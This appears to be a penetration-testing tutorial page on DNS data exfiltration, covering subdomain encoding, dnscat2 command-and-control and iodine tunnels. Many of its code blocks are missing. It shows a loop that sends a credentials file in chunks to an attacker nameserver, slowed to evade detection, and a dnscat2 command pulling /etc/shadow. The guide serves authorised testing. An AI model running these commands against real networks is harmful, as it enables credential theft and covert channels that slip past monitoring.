DNS Data Exfiltration
DNS exfiltration encodes data into DNS queries and sends it to an attacker-controlled nameserver. It works in environments where all TCP egress is blocked but DNS lookups — typically UDP port 53 — are permitted outbound. DNS traffic is rarely inspected at the content level on most networks.
The tradeoff is bandwidth: DNS queries carry small payloads, transfer is slow, and high query volume is detectable by DNS monitoring tools. Use it for small, high-value data — credentials, keys, tokens — not large archives.
You need control of a domain and an authoritative nameserver to receive the queries. Set up an NS record pointing a subdomain at your attacker machine before the engagement.
How It Works
Data is encoded as subdomains in DNS queries:
Each query carries a chunk of encoded data as a subdomain label. Your nameserver logs or captures these, reassembles them, and decodes the result. Labels are limited to 63 characters and total query length to 253 characters — so each query carries roughly 40–50 bytes of raw data after encoding overhead.
Manual Exfiltration with dig
For very small payloads — a password, a token, a hash — manual encoding works without any tooling.
Encode the data:
cm9vdDp0b29y
Send it as a DNS query:
On your attacker machine, capture queries with tcpdump:
Or run a simple DNS server that logs all queries:
For a file broken into chunks:
base64 -w 0 /dev/shm/.work/creds.txt | fold -w 40 | nl -nrz -w3 | while read idx chunk; do
dig ${idx}.${chunk}.$DOMAIN @@$LHOST +short > /dev/null 2>&1
sleep 0.5
done
The index prefix ensures chunks arrive in order. The sleep reduces query rate to avoid triggering DNS anomaly detection.
dnscat2
dnscat2 provides an encrypted command-and-control channel over DNS. It handles encoding, chunking, sequencing, and reassembly automatically.
On your attacker machine (server):
On the target (client):
Once connected, dnscat2 provides a shell session and file transfer commands over the DNS channel:
command (target) 1> shell command (target) 1> download /etc/shadow /tmp/shadow
Pre-shared secret for encrypted sessions:
iodine — Full IP Tunnel over DNS
iodine creates a full IP tunnel over DNS, allowing arbitrary TCP connections through the DNS channel. Slower than a direct tunnel but works where only DNS egress is available.
On your attacker machine:
On the target:
This creates a dns0 interface on both ends. Route traffic through it:
Now use proxychains as normal through the DNS tunnel. See Proxychains and SOCKS Pivoting.
Checking DNS Egress
Before committing to DNS exfiltration, confirm DNS queries from the target reach your nameserver:
If your nameserver does not receive the query, DNS egress is blocked or the target uses an internal resolver that does not forward external queries. In that case check whether the internal DNS resolver forwards unknown domains — if it does, queries for your domain will still reach you indirectly.
References
-
iagox86/dnscat2github.com/iagox86/dnscat2 (opens in new tab)
GitHub dnscat2 — encrypted C2 and file transfer over DNS. Client and server source with usage documentation.
-
yarrick/iodinegithub.com/yarrick/iodine (opens in new tab)
GitHub iodine — IPv4 over DNS tunnel. Supports multiple encoding schemes and authentication.
-
Linux man page Reference for DNS query options used in manual exfiltration.
Was this helpful?
Your feedback helps improve this page.